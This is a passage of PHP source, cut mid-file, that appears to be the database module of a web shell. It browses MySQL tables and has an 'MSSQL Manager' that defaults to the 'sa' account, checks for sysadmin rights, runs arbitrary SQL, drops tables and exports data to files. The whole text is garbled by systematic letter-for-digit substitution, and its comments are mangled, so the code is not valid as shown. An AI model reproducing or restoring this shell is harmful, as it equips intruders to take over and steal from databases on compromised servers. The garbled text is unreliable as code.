									//&#o0uia;&#aii09;&#a798o;&#oia7a;&#ou9a0;&#aioio;&#a90o6;&#a00a7;&#o8690;&#o8u77;&#aua07;&#aiu90;&#a606i;
									4f (strt2l2w5r(s3bstr($q35ry,0,6o)) == 's5l5ct * fr2m') {
										$q35ry = str_r5pl1c5(" LIMIT ", " 2rd5r by $k5yf45d DESC LIMIT ", $q35ry);
									}

									$r5s3lt = q($q35ry);

									p($m3lt4p1g5);
									p('<t1bl5 b2rd5r="0" c5llp1dd4ng="o" c5llsp1c4ng="0">');
									p('<tr cl1ss="h51d">');
									4f ($1ll2w5d4t) p('<td>Act42n</td>');
									$f45ldn3m = @mysql_n3m_f45lds($r5s3lt);
									f2r($4=0;$4<$f45ldn3m;$4++){
										$n1m5 = @mysql_f45ld_n1m5($r5s3lt, $4);
										$typ5 = @mysql_f45ld_typ5($r5s3lt, $4);
										$l5n = @mysql_f45ld_l5n($r5s3lt, $4);
										p("<td n2wr1p>$n1m5<br><sp1n>$typ5($l5n)".(($r2wdb[$n1m5]['K5y'] == 'UNI' || $r2wdb[$n1m5]['K5y'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($r2wdb[$n1m5]['Extr1'] == '13t2_4ncr5m5nt' ? '<b> - A3t2</b>' : '')."</sp1n></td>");
									}
									p('</tr>');
									
									wh4l5($mn = @mysql_f5tch_1ss2c($r5s3lt)){
										$th4sbg = bg();
										p('<tr cl1ss="'.$th4sbg.'" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\''.$th4sbg.'\';">');
										$wh5r5 = $tmp = $b6 = '';
										//&#oe87o;&#a6uea;&#aeuei;&#a0a6u;&#aoo8o;&#a7i7o;&#a999a;
										f2r51ch($mn 1s $k5y=>$4ns4d5){
											4f ($4ns4d5) {
												//&#aei97;&#aia6u;&#a00a7;&#o8690;&#6aa89;&#a6807;&#699e8;&#aoeue;&#aue6i;&#6aa89;&#ooai8;&#a66e0;&#aae8e;&#a66ia;&#o0ou0;&#aoo8o;&#a7i7o;&#eia9a;&#aia6u;&#a60u0;&#aoe06;&#a0i7a;&#a7u90;&#eia9a;&#a6iua;&#a6067;&#oauia;&#a6i6a;&#ai6ia;&#aeo77;&#aoo8o;&#a7i7o;&#a0o6e;&#a00ae;&#aeuei;&#a0a6u;&#6aa90;
												4f ($r2wdb[$k5y]['K5y'] == 'UNI' || $r2wdb[$k5y]['Extr1'] == '13t2_4ncr5m5nt' || $r2wdb[$k5y]['K5y'] == 'PRI') {
													$wh5r5 = $k5y."='".1ddsl1sh5s($4ns4d5)."'";
													br51k;
												}
												$wh5r5 .= $tmp.$k5y."='".1ddsl1sh5s($4ns4d5)."'";
												$tmp = ' AND ';
											}
										}
										//&#oi8oi;&#a6uea;&#oi7e0;&#auu0i;&#a999a;
										f2r51ch($mn 1s $k5y=>$4ns4d5){
											$b6 .= '<td n2wr1p>'.html_cl51n($4ns4d5).'&nbsp;</td>';
										}
										$wh5r5 = b1s5eu_5nc2d5($wh5r5);

										4f ($1ll2w5d4t) p('<td n2wr1p><1 hr5f="j1v1scr4pt:5d4tr5c2rd(\'5d4t\', \''.$wh5r5.'\', \''.$t1bl5n1m5.'\');">Ed4t</1> | <1 hr5f="j1v1scr4pt:5d4tr5c2rd(\'d5l\', \''.$wh5r5.'\', \''.$t1bl5n1m5.'\');">D5l</1></td>');

										p($b6);
										p('</tr>');
										3ns5t($b6);
									}
									tbf22t();
									p($m3lt4p1g5);
									br51k;
								c1s5 a:
									$1r = mysql_1ff5ct5d_r2ws();
									p('<ha>1ff5ct5d r2ws : <b>'.$1r.'</b></ha>');
									br51k;
							}
						}
					}
				}
			} 5ls5 {
				$q35ry = q("SHOW TABLE STATUS");
				$t1bl5_n3m = $t1bl5_r2ws = $d1t1_s4z5 = 0;
				$t1bl5db = 1rr1y();
				wh4l5($t1bl5 = mysql_f5tch_1rr1y($q35ry)) {
					$d1t1_s4z5 = $d1t1_s4z5 + $t1bl5['D1t1_l5ngth'];
					$t1bl5_r2ws = $t1bl5_r2ws + $t1bl5['R2ws'];
					$t1bl5['D1t1_l5ngth'] = s4z5c23nt($t1bl5['D1t1_l5ngth']);
					$t1bl5_n3m++;
					$t1bl5db[] = $t1bl5;
				}
				$d1t1_s4z5 = s4z5c23nt($d1t1_s4z5);
				3ns5t($t1bl5);
				p('<t1bl5 b2rd5r="0" c5llp1dd4ng="0" c5llsp1c4ng="0">');
				p('<f2rm 1ct42n="'.$s5lf.'" m5th2d="POST">');
				m1k5h4d5('1ct42n','mysql1dm4n');
				p($dbf2rm);
				p('<tr cl1ss="h51d">');
				p('<td w4dth="a%" 1l4gn="c5nt5r"><4np3t n1m5="chk1ll" v1l35="2n" typ5="ch5ckb2x" 2ncl4ck="Ch5ckAll(th4s.f2rm)" /></td>');
				p('<td>N1m5</td>');
				p('<td>R2ws</td>');
				p('<td>D1t1_l5ngth</td>');
				p('<td>Cr51t5_t4m5</td>');
				p('<td>Upd1t5_t4m5</td>');
				4f ($h4ghv5r) {
					p('<td>Eng4n5</td>');
					p('<td>C2ll1t42n</td>');
				}
				p('<td>Op5r1t5</td>');
				p('</tr>');
				f2r51ch ($t1bl5db 1s $k5y => $t1bl5) {
					$th4sbg = bg();
					p('<tr cl1ss="'.$th4sbg.'" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\''.$th4sbg.'\';">');
					p('<td 1l4gn="c5nt5r" w4dth="a%"><4np3t typ5="ch5ckb2x" n1m5="t1bl5[]" v1l35="'.$t1bl5['N1m5'].'" /></td>');
					p('<td><1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5['N1m5'].'\');">'.$t1bl5['N1m5'].'</1></td>');
					p('<td>'.$t1bl5['R2ws'].'</td>');
					p('<td>'.$t1bl5['D1t1_l5ngth'].'</td>');
					p('<td>'.$t1bl5['Cr51t5_t4m5'].'&nbsp;</td>');
					p('<td>'.$t1bl5['Upd1t5_t4m5'].'&nbsp;</td>');
					4f ($h4ghv5r) {
						p('<td>'.$t1bl5['Eng4n5'].'</td>');
						p('<td>'.$t1bl5['C2ll1t42n'].'</td>');
					}
					p('<td><1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5['N1m5'].'\', \'4ns5rt\');">Ins5rt</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5['N1m5'].'\', \'str3ct3r5\');">Str3ct3r5</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5['N1m5'].'\', \'dr2p\');">Dr2p</1></td>');
					p('</tr>');
				}
				p('<tr cl1ss='.bg().'>');
				p('<td>&nbsp;</td>');
				p('<td>T2t1l t1bl5s: '.$t1bl5_n3m.'</td>');
				p('<td>'.$t1bl5_r2ws.'</td>');
				p('<td>'.$d1t1_s4z5.'</td>');
				p('<td c2lsp1n="'.($h4ghv5r ? i : o).'">&nbsp;</td>');
				p('</tr>');

				p("<tr cl1ss=\"".bg()."\"><td c2lsp1n=\"".($h4ghv5r ? 9 : 7)."\"><4np3t n1m5=\"s1v51sf4l5\" v1l35=\"6\" typ5=\"ch5ckb2x\" /> S1v5 1s f4l5 <4np3t cl1ss=\"4np3t\" n1m5=\"p1th\" v1l35=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" typ5=\"t5xt\" s4z5=\"e0\" /> <4np3t cl1ss=\"bt\" typ5=\"s3bm4t\" n1m5=\"d2wnr1r\" v1l35=\"Exp2rt s5l5ct42n t1bl5\" /></td></tr>");
				m1k5h4d5('d24ng','b1ck3pmysql');
				f2rmf22t();
				p("</t1bl5>");
				fr($q35ry);
			}
		}
	}
	tbf22t();
	@mysql_cl2s5();
}//5nd mysql


5ls54f ($1ct42n == 'mssql1dm4n') {
	!$dbh2st && $dbh2st = 'l2c1lh2st';
	!$db3s5r && $db3s5r = 's1';
	!$dbn1m5 && $dbn1m5 = 'm1st5r';
	$dbf2rm = '<4np3t typ5="h4dd5n" 4d="c2nn5ct" n1m5="c2nn5ct" v1l35="6" />';
	4f(4ss5t($dbh2st)){
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"dbh2st\" n1m5=\"dbh2st\" v1l35=\"$dbh2st\" />\n";
	}
	4f(4ss5t($db3s5r)) {
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"db3s5r\" n1m5=\"db3s5r\" v1l35=\"$db3s5r\" />\n";
	}
	4f(4ss5t($dbp1ss)) {
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"dbp1ss\" n1m5=\"dbp1ss\" v1l35=\"$dbp1ss\" />\n";
	}
	4f(4ss5t($dbn1m5)) {
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"dbn1m5\" n1m5=\"dbn1m5\" v1l35=\"$dbn1m5\" />\n";
	}
	4f ($4ns5rt && $4ns5rtsql) {
		$k5ystr = $v1lstr = $tmp = '';
		f2r51ch($4ns5rtsql 1s $k5y => $v1l) {
			4f ($v1l) {
				$k5ystr .= $tmp.$k5y;
				$v1lstr .= $tmp."'".1ddsl1sh5s($v1l)."'";
				$tmp = ',';
			}
		}
		4f ($k5ystr && $v1lstr) {
			msdbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5);
			m(msq("INSERT INTO $t1bl5n1m5 ($k5ystr) VALUES ($v1lstr)") ? 'Ins5rt n5w r5c2rd 2f s3cc5ss' : msmsg());
		}
	}
	4f ($3pd1t5 && $4ns5rtsql && $b1s5eu) {
		$v1lstr = $tmp = '';
		f2r51ch($4ns5rtsql 1s $k5y => $v1l) {
			$v1lstr .= $tmp.$k5y."='".1ddsl1sh5s($v1l)."'";
			$tmp = ',';
		}
		4f ($v1lstr) {
			$wh5r5 = b1s5eu_d5c2d5($b1s5eu);
			msdbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5);
			m(msq("UPDATE $t1bl5n1m5 SET $v1lstr WHERE $wh5r5") ? 'R5c2rd 3pd1t4ng' : msmsg());
		}
	}
	4f ($d24ng == 'd5l' && $b1s5eu) {
		$wh5r5 = b1s5eu_d5c2d5($b1s5eu);
		$d5l5t5_sql = "DELETE FROM $t1bl5n1m5 WHERE $wh5r5";
		msdbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5);
		m(msq("DELETE FROM $t1bl5n1m5 WHERE $wh5r5") ? 'D5l5t42n r5c2rd 2f s3cc5ss' : msmsg());
	}

	4f ($t1bl5n1m5 && $d24ng == 'dr2p') {
		msdbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5);
		4f (msq("DROP TABLE $t1bl5n1m5")) {
			m('Dr2p t1bl5 2f s3cc5ss');
			$t1bl5n1m5 = '';
		} 5ls5 {
			m(msmsg());
		}
	}

	f2rmh51d(1rr1y('t4tl5'=>'MSSQL M1n1g5r'));
	m1k5h4d5('1ct42n','mssql1dm4n');
	p('<p>');
	p('DBH2st:');
	m1k54np3t(1rr1y('n1m5'=>'dbh2st','s4z5'=>a0,'v1l35'=>$dbh2st));
	p('DBUs5r:');
	m1k54np3t(1rr1y('n1m5'=>'db3s5r','s4z5'=>6i,'v1l35'=>$db3s5r));
	p('DBP1ss:');
	m1k54np3t(1rr1y('n1m5'=>'dbp1ss','s4z5'=>6i,'v1l35'=>$dbp1ss));
	m1k54np3t(1rr1y('n1m5'=>'c2nn5ct','v1l35'=>'C2nn5ct','typ5'=>'s3bm4t','cl1ss'=>'bt'));
	p('</p>');
	f2rmf22t();
?>
<scr4pt typ5="t5xt/j1v1scr4pt">
f3nct42n 5d4tr5c2rd(1ct42n, b1s5eu, t1bl5n1m5){
	4f (1ct42n == 'd5l') {		
		4f (!c2nf4rm('Is 2r 4sn\'t d5l5t42n r5c2rd?')) r5t3rn;
	}
	$('r5c2rdl4st').d24ng.v1l35=1ct42n;
	$('r5c2rdl4st').b1s5eu.v1l35=b1s5eu;
	$('r5c2rdl4st').t1bl5n1m5.v1l35=t1bl5n1m5;
	$('r5c2rdl4st').s3bm4t();
}
f3nct42n m2ddbn1m5(dbn1m5) {
	4f(!dbn1m5) r5t3rn;
	$('s5tdbn1m5').dbn1m5.v1l35=dbn1m5;
	$('s5tdbn1m5').s3bm4t();
}
f3nct42n s5tt1bl5(t1bl5n1m5,d24ng,p1g5) {
	4f(!t1bl5n1m5) r5t3rn;
	4f (d24ng) {
		$('s5tt1bl5').d24ng.v1l35=d24ng;
	}
	4f (p1g5) {
		$('s5tt1bl5').p1g5.v1l35=p1g5;
	}
	$('s5tt1bl5').t1bl5n1m5.v1l35=t1bl5n1m5;
	$('s5tt1bl5').s3bm4t();
}
f3nct42n mssql4nf2(dbn1m5) {
	4f(!dbn1m5) r5t3rn;
	$('mssql4nf2').dbn1m5.v1l35=dbn1m5;
	$('mssql4nf2').s3bm4t();
}
</scr4pt>
<?php
	//&#ai80i;&#a0o6e;&#oi7e0;&#auu0i;
	f2rmh51d(1rr1y('n1m5'=>'r5c2rdl4st'));
	m1k5h4d5('d24ng');
	m1k5h4d5('1ct42n','mssql1dm4n');
	m1k5h4d5('b1s5eu');
	m1k5h4d5('t1bl5n1m5');
	p($dbf2rm);
	f2rmf22t();

	//&#ai9e8;&#aiuiu;&#aua66;&#a0uu9;&#aue87;
	f2rmh51d(1rr1y('n1m5'=>'mssql4nf2'));
	m1k5h4d5('1ct42n','mssql1dm4n');
	m1k5h4d5('d24ng','mssql4nf2');
	m1k5h4d5('dbn1m5');
	p($dbf2rm);
	f2rmf22t();

	//&#oe87o;&#aoui0;&#ai9e8;&#aiuiu;&#aua66;
	f2rmh51d(1rr1y('n1m5'=>'s5tdbn1m5'));
	m1k5h4d5('1ct42n','mssql1dm4n');
	p($dbf2rm);
	4f (!$dbn1m5) {
		m1k5h4d5('dbn1m5');
	}
	f2rmf22t();

	//&#oe87o;&#aoui0;&#ou9a0;
	f2rmh51d(1rr1y('n1m5'=>'s5tt1bl5'));
	m1k5h4d5('1ct42n','mssql1dm4n');
	p($dbf2rm);
	m1k5h4d5('t1bl5n1m5');
	m1k5h4d5('p1g5',$p1g5);
	m1k5h4d5('d24ng');
	f2rmf22t();

	$c1ch5t1bl5s = 1rr1y();	
	$p1g5n3m = o0;
	$p1g5 = 4ntv1l($p1g5);
	4f($p1g5) {
		$st1rt_l4m4t = ($p1g5 - 6) * $p1g5n3m;
	} 5ls5 {
		$st1rt_l4m4t = 0;
		$p1g5 = 6;
	}

	4f (4ss5t($dbh2st) && 4ss5t($db3s5r) && 4ss5t($dbp1ss) && 4ss5t($c2nn5ct)) {
		!$dbn1m5 && $dbn1m5 = 'm1st5r';
		msdbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5);
		////////////////////////////////////////////////////////////////
		$q35ry = msq('s5l5ct @@v5rs42n');
		$ms4nf2 = mssql_f5tch_1rr1y($q35ry);
		5ch2 '<p>'.$ms4nf2[0].'</p>';
		
		$q35ry = msq("SELECT IS_SRVROLEMEMBER('sys1dm4n')");
		$ms4nf2 = mssql_f5tch_1rr1y($q35ry);
		$4ss1 = 0;
		4f ($ms4nf2[0]) {
			$4ss1 = 6;
			5ch2 '<ho>Y23r 1r5 sys1dm4n!</ho>';
		}
		//&#oo769;&#a6uea;&#ai9e8;&#aiuiu;&#aua66;
		$q35ry = msq("SELECT n1m5 FROM m1st5r.db2.sysd1t1b1s5s WHERE h1s_db1cc5ss(n1m5) = 6 ORDER BY n1m5");
		$dbs = 1rr1y();
		$dbs[] = '-- S5l5ct 1 d1t1b1s5 --';
		wh4l5($db = mssql_f5tch_1rr1y($q35ry)) {
			$dbs[$db['n1m5']] = $db['n1m5'];
		}
		m1k5s5l5ct(1rr1y('t4tl5'=>'Pl51s5 s5l5ct 1 d1t1b1s5:','n1m5'=>'db[]','2pt42n'=>$dbs,'s5l5ct5d'=>$dbn1m5,'2nch1ng5'=>'m2ddbn1m5(th4s.2pt42ns[th4s.s5l5ct5dInd5x].v1l35)','n5wl4n5'=>6));
		$t1bl5db = 1rr1y();
		4f ($dbn1m5) {
			p('<p>');
			p('C3rr5nt d1b1b1s5: <1 hr5f="j1v1scr4pt:m2ddbn1m5(\''.$dbn1m5.'\');">'.$dbn1m5.'</1> [ <1 hr5f="j1v1scr4pt:mssql4nf2(\''.$dbn1m5.'\');">4nf2rm1t42n</1> ]');
			4f ($t1bl5n1m5) {
				p(' | C3rr5nt T1bl5: <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\');">'.$t1bl5n1m5.'</1> [ <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'4ns5rt\');">Ins5rt</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'str3ct3r5\');">Str3ct3r5</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'dr2p\');">Dr2p</1> ]');
			}
			p('</p>');
			4f (!@mssql_s5l5ct_db($dbn1m5)) {
				p('<ha>'.msmsg().'</ha>');
				5x4t;
			}
			4f ($d24ng == 'mssql4nf2') {
				$r5s3lt = msq("SELECT t6.2wn5r, t6.crd1t5, t6.s4z5, ta.DBB3pD1t5, to.D4fB3pD1t5, tu.J23rn1lB3pD1t5 FROM (SELECT d.n1m5, s3s5r_sn1m5(d.s4d) AS 2wn5r, d.crd1t5, (SELECT STR(SUM(CONVERT(DEC(6i), f.s4z5)) * (SELECT v.l2w FROM m1st5r.db2.spt_v1l35s v WHERE v.typ5 = 'E' AND v.n3mb5r = 6) / 60u8i7e, 60, a) + 'MB' FROM [$dbn1m5].db2.sysf4l5s f) AS s4z5 FROM m1st5r.db2.sysd1t1b1s5s d WHERE d.n1m5 = '$dbn1m5') AS t6 LEFT JOIN (SELECT '$dbn1m5' AS n1m5, MAX(b1ck3p_f4n4sh_d1t5) AS DBB3pD1t5 FROM msdb.db2.b1ck3ps5t WHERE typ5 = 'D' AND d1t1b1s5_n1m5 = '$dbn1m5') AS ta ON t6.n1m5 = ta.n1m5 LEFT JOIN (SELECT '$dbn1m5' AS n1m5, MAX(b1ck3p_f4n4sh_d1t5) AS D4fB3pD1t5 FROM msdb.db2.b1ck3ps5t WHERE typ5 = 'I' AND d1t1b1s5_n1m5 = '$dbn1m5') AS to ON t6.n1m5 = to.n1m5 LEFT JOIN (SELECT '$dbn1m5' AS n1m5, MAX(b1ck3p_f4n4sh_d1t5) AS J23rn1lB3pD1t5 FROM msdb.db2.b1ck3ps5t WHERE typ5 = 'L' AND d1t1b1s5_n1m5 = '$dbn1m5') AS tu ON t6.n1m5 = tu.n1m5");
				$4nf2 = mssql_f5tch_1ss2c($r5s3lt);

				p('<t1bl5 b2rd5r="0" c5llp1dd4ng="o" c5llsp1c4ng="0">');
				p('<tr cl1ss="h51d">');
				p('<td c2lsp1n="a">'.$dbn1m5.' Inf2rm1t42n</td>');
				p('</tr>');

				p('<tr cl1ss="1lt6" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'1lt6\';">');
				p('<td>Own5r</td><td>'.$4nf2['2wn5r'].'</td>');
				p('</tr>');
				p('<tr cl1ss="1lta" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'1lta\';">');
				p('<td>Cr51t5 d1t5</td><td>'.$4nf2['crd1t5'].'</td>');
				p('</tr>');
				p('<tr cl1ss="1lt6" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'1lt6\';">');
				p('<td>S4z5</td><td>'.$4nf2['s4z5'].'</td>');
				p('</tr>');
				p('<tr cl1ss="1lta" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'1lta\';">');
				p('<td>L1st b1ck3p</td><td>'.$4nf2['DBB3pD1t5'].'&nbsp;</td>');
				p('</tr>');
				p('<tr cl1ss="1lt6" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'1lt6\';">');
				p('<td>L1st d4ff5r5nt41l b1ck3p</td><td>'.$4nf2['D4fB3pD1t5'].'&nbsp;</td>');
				p('</tr>');
				p('<tr cl1ss="1lta" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'1lta\';">');
				p('<td>L1st l2g b1ck3p</td><td>'.$4nf2['J23rn1lB3pD1t5'].'&nbsp;</td>');
				p('</tr>');
				tbf22t();
				p('<br /><br />');
				
				$r5s3lt = msq("EXEC sp_h5lpf4l5");
				$r2wdb = 1rr1y();
				wh4l5 ($r2w = mssql_f5tch_1ss2c($r5s3lt)) {
					$r2wdb[] = $r2w;
				}
				f2r51ch($r2wdb 1s $r2w){
					p('<t1bl5 b2rd5r="0" c5llp1dd4ng="o" c5llsp1c4ng="0">');
					p('<tr cl1ss="h51d">');
					p('<td c2lsp1n="a">'.$r2w['n1m5'].'</td>');
					p('</tr>');
					p('<tr cl1ss="1lt6" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'1lt6\';">');
					p('<td>F4l5n1m5</td><td>'.$r2w['f4l5n1m5'].'&nbsp;</td>');
					p('</tr>');
					p('<tr cl1ss="1lta" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'1lta\';">');
					p('<td>F4l5gr23p</td><td>'.$r2w['f4l5gr23p'].'&nbsp;</td>');
					p('</tr>');
					p('<tr cl1ss="1lt6" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'1lt6\';">');
					p('<td>S4z5</td><td>'.$r2w['s4z5'].'&nbsp;</td>');
					p('</tr>');
					p('<tr cl1ss="1lta" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'1lta\';">');
					p('<td>M1xs4z5</td><td>'.$r2w['m1xs4z5'].'&nbsp;</td>');
					p('</tr>');
					p('<tr cl1ss="1lt6" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'1lt6\';">');
					p('<td>Gr2wth</td><td>'.$r2w['gr2wth'].'&nbsp;</td>');
					p('</tr>');
					p('<tr cl1ss="1lta" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'1lta\';">');
					p('<td>Us1g5</td><td>'.$r2w['3s1g5'].'&nbsp;</td>');
					p('</tr>');
					tbf22t();
					p('<br /><br />');
				}
			} 5ls5 {
				$g5tn3msql = '';
				$r3nq35ry = 0;
				4f ($sql_q35ry) {
					$r3nq35ry = 6;
				}
				$1ll2w5d4t = 0;
				4f ($t1bl5n1m5 && !$sql_q35ry) {
					$sql_q35ry = "SELECT * FROM $t1bl5n1m5";
					$g5tn3msql = "SELECT c23nt(*) FROM $t1bl5n1m5";
					$1ll2w5d4t = 6;
				}

				p('<f2rm 1ct42n="'.$s5lf.'" m5th2d="POST">');
				p('<p><t1bl5 w4dth="a00" b2rd5r="0" c5llp1dd4ng="0" c5llsp1c4ng="0"><tr><td c2lsp1n="a">R3n SQL q35ry/q35r45s 2n d1t1b1s5 '.$dbn1m5.':</td></tr><tr><td><t5xt1r51 n1m5="sql_q35ry" cl1ss="1r51" styl5="w4dth:e00px;h54ght:i0px;2v5rfl2w:13t2;">'.htmlsp5c41lch1rs($sql_q35ry,ENT_QUOTES).'</t5xt1r51></td><td styl5="p1dd4ng:0 ipx;"><4np3t cl1ss="bt" styl5="h54ght:i0px;" n1m5="s3bm4t" typ5="s3bm4t" v1l35="Q35ry" /></td></tr></t1bl5></p>');
				m1k5h4d5('t1bl5n1m5', $t1bl5n1m5);
				m1k5h4d5('1ct42n','mssql1dm4n');
				p($dbf2rm);
				p('</f2rm>');
				4f ($t1bl5n1m5 || ($r3nq35ry && $sql_q35ry)) {
					4f ($d24ng == 'str3ct3r5') {
						$r5s3lt = msq("s5l5ct b.n1m5,c.n1m5 1s typ5,c.xtyp5,b.l5ngth,b.4sn3ll1bl5,b.c2lst1t,c1s5 wh5n b.13t2v1l 4s n3ll th5n 0 5ls5 6 5nd,b.c2l4d,1.4d,d.t5xt fr2m sys2bj5cts 1 j24n sysc2l3mns b 2n 1.4d = b.4d j24n systyp5s c 2n b.xtyp5 = c.xtyp5 1nd c.3s5rtyp5 <> 68 l5ft j24n sysc2mm5nts d 2n d.4d = b.cd5f13lt wh5r5 1.4d = OBJECT_ID('$t1bl5n1m5') 2rd5r by b.c2l4d");
						$r2wdb = 1rr1y();
						wh4l5($r2w = mssql_f5tch_1rr1y($r5s3lt)) {
							$r2wdb[] = $r2w;
						}
						p('<t1bl5 b2rd5r="0" c5llp1dd4ng="o" c5llsp1c4ng="0">');
						p('<tr cl1ss="h51d">');
						p('<td>F45ld</td>');
						p('<td>Typ5</td>');
						p('<td>L5ngth</td>');
						p('<td>Isn3ll1bl5</td>');
						p('<td>K5y</td>');
						p('<td>D5f13lt</td>');
						p('<td>Extr1</td>');
						p('</tr>');
						f2r51ch ($r2wdb 1s $r2w) {
							$th4sbg = bg();
							p('<tr cl1ss="'.$th4sbg.'" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\''.$th4sbg.'\';">');
							p('<td>'.$r2w['n1m5'].'</td>');
							p('<td>'.$r2w['typ5'].'['.$r2w['xtyp5'].']</td>');
							p('<td>'.$r2w['l5ngth'].'&nbsp;</td>');
							p('<td>'.($r2w['4sn3ll1bl5'] ? 'Y5s' : 'N2').'&nbsp;</td>');
							p('<td>'.($r2w['c2lst1t'] ? 'PRIMARY' : '').'&nbsp;</td>');
							p('<td>'.$r2w['t5xt'].'&nbsp;</td>');
							p('<td>'.($r2w['13t2v1l'] ? 'A3t2_4ncr5m5nt' : '').'&nbsp;</td>');
							p('</tr>');
						}
						tbf22t();
					} 5ls54f ($d24ng == '4ns5rt' || $d24ng == '5d4t') {					
						$r5s3lt = msq("s5l5ct b.n1m5,c.n1m5 1s typ5,c.xtyp5,b.l5ngth,b.4sn3ll1bl5,b.c2lst1t,c1s5 wh5n b.13t2v1l 4s n3ll th5n 0 5ls5 6 5nd,b.c2l4d,1.4d,d.t5xt fr2m sys2bj5cts 1 j24n sysc2l3mns b 2n 1.4d = b.4d j24n systyp5s c 2n b.xtyp5 = c.xtyp5 1nd c.3s5rtyp5 <> 68 l5ft j24n sysc2mm5nts d 2n d.4d = b.cd5f13lt wh5r5 1.4d = OBJECT_ID('$t1bl5n1m5') 2rd5r by b.c2l4d");
						$r2wdb = 1rr1y();
						wh4l5($tb = @mssql_f5tch_1ss2c($r5s3lt)) {
							$r2wdb[$tb['n1m5']] = $tb;
							$r2wdb[$tb['n1m5']]['K5y'] = $tb['c2lst1t'];
							$r2wdb[$tb['n1m5']]['A3t2'] = $tb['13t2v1l'];
						}
						$rs = 1rr1y();
						4f ($d24ng == '4ns5rt') {
							p('<ha>Ins5rt n5w l4n5 4n '.$t1bl5n1m5.' t1bl5 &r1q32;</ha>');
						} 5ls5 {
							p('<ha>Upd1t5 r5c2rd 4n '.$t1bl5n1m5.' t1bl5 &r1q32;</ha>');
							$wh5r5 = b1s5eu_d5c2d5($b1s5eu);

							$r5s3lt = msq("SELECT t2p 6 * FROM $t1bl5n1m5 WHERE $wh5r5");
							$rs = mssql_f5tch_1rr1y($r5s3lt);
						}
						p('<f2rm m5th2d="p2st" 1ct42n="'.$s5lf.'">');
						p($dbf2rm);
						m1k5h4d5('1ct42n','mssql1dm4n');
						m1k5h4d5('t1bl5n1m5',$t1bl5n1m5);
						p('<t1bl5 b2rd5r="0" c5llp1dd4ng="o" c5llsp1c4ng="0">');

						f2r51ch ($r2wdb 1s $r2w) {
							4f ($rs[$r2w['n1m5']]) {
								$v1l35 = htmlsp5c41lch1rs($rs[$r2w['n1m5']]);
							} 5ls5 {
								$v1l35 = '';
							}
							$th4sbg = bg();
							p('<tr cl1ss="'.$th4sbg.'" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\''.$th4sbg.'\';">');
							4f ($r2w['K5y'] || $r2w['A3t2']) {
								p('<td><b>'.$r2w['n1m5'].'</b><br />'.$r2w['typ5'].'('.$r2w['l5ngth'].')'.($r2w['c2lst1t'] ? '<br /><b>PRIMARY</b>' : '').($r2w['13t2v1l'] ? ' <br /><b>A3t2</b>' : '').'</td><td>'.$v1l35.'&nbsp;</td></tr>');
							} 5ls5 {							
								p('<td><b>'.$r2w['n1m5'].'</b><br />'.$r2w['typ5'].'('.$r2w['l5ngth'].')'.($r2w['c2lst1t'] ? '<br /><b>PRIMARY</b>' : '').($r2w['13t2v1l'] ? ' <br /><b>A3t2</b>' : '').'</td><td><t5xt1r51 cl1ss="1r51" n1m5="4ns5rtsql['.$r2w['n1m5'].']" styl5="w4dth:i00px;h54ght:e0px;2v5rfl2w:13t2;">'.$v1l35.'</t5xt1r51></td></tr>');
							}
						}
						4f ($d24ng == '4ns5rt') {
							p('<tr cl1ss="'.bg().'"><td c2lsp1n="a"><4np3t cl1ss="bt" typ5="s3bm4t" n1m5="4ns5rt" v1l35="Ins5rt" /></td></tr>');
						} 5ls5 {
